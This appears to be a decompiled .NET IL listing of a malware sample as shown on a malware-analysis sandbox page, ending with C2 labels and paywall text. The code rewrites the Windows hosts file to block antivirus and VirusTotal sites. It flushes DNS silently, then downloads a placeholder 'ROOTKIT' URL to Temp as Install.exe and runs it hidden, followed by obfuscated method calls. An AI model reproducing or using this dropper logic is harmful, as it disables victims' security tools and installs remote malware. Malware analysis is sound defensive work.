ldstr 127.0.0.1 www.f-secure.com
stelem.ref <null>
dup <null>
ldc.i4.s 61
ldstr 127.0.0.1 pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 62
ldstr 127.0.0.1 www.pandasecurity.com
stelem.ref <null>
dup <null>
ldc.i4.s 63
ldstr 127.0.0.1 zonealarm.com
stelem.ref <null>
dup <null>
ldc.i4.s 64
ldstr 127.0.0.1 www.zonealarm.com
stelem.ref <null>
dup <null>
ldc.i4.s 65
ldstr 127.0.0.1 trendmicro.com
stelem.ref <null>
dup <null>
ldc.i4.s 66
ldstr 127.0.0.1 www.trendmicro.com
stelem.ref <null>
dup <null>
ldc.i4.s 67
ldstr 127.0.0.1 ccleaner.com
stelem.ref <null>
dup <null>
ldc.i4.s 68
ldstr 127.0.0.1 www.ccleaner.com
stelem.ref <null>
dup <null>
ldc.i4.s 69
ldstr 127.0.0.1 virustotal.com
stelem.ref <null>
dup <null>
ldc.i4.s 70
ldstr 127.0.0.1 www.virustotal.com
stelem.ref <null>
stloc.1 <null>
ldc.i4.s 37
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr drivers\etc\hosts
call System.String System.IO.Path::Combine(System.String,System.String)
call System.IO.StreamWriter System.IO.File::AppendText(System.String)
stloc.s V_5
ldloc.1 <null>
stloc.s V_6
ldc.i4.0 <null>
stloc.s V_7
br.s IL_0372: ldloc.s V_7
ldloc.s V_6
ldloc.s V_7
ldelem.ref <null>
stloc.s V_8
ldloc.s V_5
ldloc.s V_8
callvirt System.Void System.IO.TextWriter::WriteLine(System.String)
ldloc.s V_7
ldc.i4.1 <null>
add <null>
stloc.s V_7
ldloc.s V_7
ldloc.s V_6
ldlen <null>
conv.i4 <null>
blt.s IL_035C: ldloc.s V_6
leave.s IL_0388: ldstr "ipconfig"
ldloc.s V_5
brfalse.s IL_0387: endfinally
ldloc.s V_5
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldstr ipconfig
ldstr /flushdns
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
dup <null>
brtrue.s IL_03B0: call System.Void System.Diagnostics.Process::WaitForExit()
pop <null>
br.s IL_03B5: leave.s IL_03BA
call System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_03BA: ldstr "ROOTKIT FILE URL HERE"
pop <null>
leave.s IL_03BA: ldstr "ROOTKIT FILE URL HERE"
ldstr ROOTKIT FILE URL HERE
stloc.2 <null>
call System.String System.IO.Path::GetTempPath()
ldstr Install.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.3 <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_10
ldloc.s V_10
ldloc.2 <null>
ldloc.3 <null>
callvirt System.Void System.Net.WebClient::DownloadFile(System.String,System.String)
leave.s IL_03EE: newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
ldloc.s V_10
brfalse.s IL_03ED: endfinally
ldloc.s V_10
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
stloc.s V_9
ldloc.s V_9
ldloc.3 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
ldloc.s V_9
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_9
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean)
newobj System.Void System.Diagnostics.Process::.ctor()
dup <null>
ldloc.s V_9
callvirt System.Void System.Diagnostics.Process::set_StartInfo(System.Diagnostics.ProcessStartInfo)
callvirt System.Boolean System.Diagnostics.Process::Start()
pop <null>
leave.s IL_0435: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::꺩Ꞑ텤ᬉ푐䖜鰋⛶웅女瑯行継뭁ࡖ謾됝()
pop <null>
leave.s IL_0435: call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::꺩Ꞑ텤ᬉ푐䖜鰋⛶웅女瑯行継뭁ࡖ謾됝()
call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::꺩Ꞑ텤ᬉ푐䖜鰋⛶웅女瑯行継뭁ࡖ謾됝()
call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::褟㟟�თ뤘谙ᢚ첀㹹꠮΂⃔䅒퉖Ɀ麳⩢ꪓꄥ()
call System.Void 蠸鴲䨼�뾠ẋ鮚ᨶ킽ぷ�↓⩘༵資⍷铅㚸::ᔆᒚ茭ᗍ㰹៦蓷ꀄथ鷃ほ솒�ꨞ밺()
ret <null>
CnC CNCmalicious
de3.lhuhuhuhuhuhuhu
Port PORTmalicious
Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.
Unlock with Essential
An error has occurred. This application may no longer respond until reloaded. Reload 🗙